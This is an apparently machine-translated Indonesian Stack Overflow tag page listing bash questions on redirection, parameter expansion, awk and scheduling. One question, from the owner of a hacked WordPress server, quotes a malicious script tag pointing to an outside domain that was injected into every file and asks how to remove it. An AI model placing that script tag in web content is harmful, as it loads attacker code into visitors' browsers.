Pertanyaan yang diberi tag «bash»

Untuk pertanyaan tentang skrip yang ditulis untuk shell perintah Bash. Untuk skrip shell dengan kesalahan / kesalahan sintaksis, silakan periksa dengan program shellcheck (atau di server shellcheck web di https://shellcheck.net) sebelum memposting di sini. Pertanyaan tentang penggunaan interaktif Bash lebih cenderung pada topik di Super User daripada di Stack Overflow.

1
Apakah 3> & 1 menyiratkan 4> & 3 5> & 3 dll?
Saya harapkan echo foo | tee /proc/self/fd/{3..6} 3>&1 gagal dengan kesalahan seperti / proc / self / fd / 4: Tidak ada file atau direktori dll, tetapi yang mengejutkan saya, ini menghasilkan foo foo foo foo foo Ini seperti 3>&1menyebabkan semua deskriptor berikut diarahkan ke stdout, kecuali itu tidak berfungsi …

7
Bagaimana cara saya mengedit perintah shell saat ini tanpa menjalankannya?
Tampaknya ada cukup banyak informasi tentang cara mengedit dan mengeksekusi perintah menggunakan editor Anda menggunakan "edit-dan-eksekusi-perintah (Cx Ce)", tetapi apa yang ingin saya capai adalah mengambil perintah shell saat ini, terapkan penyaringan tertentu (menggunakan skrip) dan kemudian mengembalikannya untuk meminta persetujuan / perubahan manual lebih lanjut sebelum eksekusi. Apakah ini …
13 bash 

7
Bagaimana cara mengganti seluruh string menggunakan sed atau mungkin grep
Jadi seluruh server saya diretas atau ada masalah malware. situs saya didasarkan pada WordPress dan sebagian besar situs yang dihosting di server saya berbasis WordPress. Peretas menambahkan baris kode ini ke setiap file dan dalam basis data <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Saya memang mencarinya via grep menggunakan grep -r "trasnaltemyrecords" /var/www/html/{*,.*} …
10 bash  shell  sed  grep 

1
Ekspansi parameter yang menghasilkan string kosong diperlakukan berbeda
Memperbarui Seseorang di milis bug-bash telah mengkonfirmasi bahwa ini adalah bug. Jika ada yang tertarik, perbaikan tersedia di komit terbaru untuk mengembangkan cabang . Sementara bash -c 'echo "${1##*""}"' _ bar mencetak garis kosong, bash -c 'echo "${1##*"${1##*}"}"' _ bar cetakan bar. Saya tidak mengerti ini. ${1##*}mengembang ke string kosong, …
10 bash 

2
Penjadwal Synology .sh perintah java tidak ditemukan
Saya punya skrip bash yang hanya tugas menjalankan file jar. sms.sh java -jar /volume1/homes/jar/smssender.jar Menggunakan Synology NAS saya, saya mengatur tugas. Menambahkan perintah untuk menjalankan skrip bash. Menambahkan output log. Melaksanakan Tugas baru saya. Memeriksa log untuk melihat kesalahan berikut: /volume1/homes/jar/sms.sh: baris 1: java: perintah tidak ditemukan Memeriksa versi Java …
9 java  bash  synology 

3
Simpan modifikasi di tempat dengan NON GNU awk
Saya telah menemukan pertanyaan (pada SO itu sendiri) di mana OP harus melakukan edit dan menyimpan operasi ke Input_file itu sendiri. Saya tahu untuk satu Input_file yang bisa kami lakukan sebagai berikut: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file Sekarang katakanlah kita perlu …
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.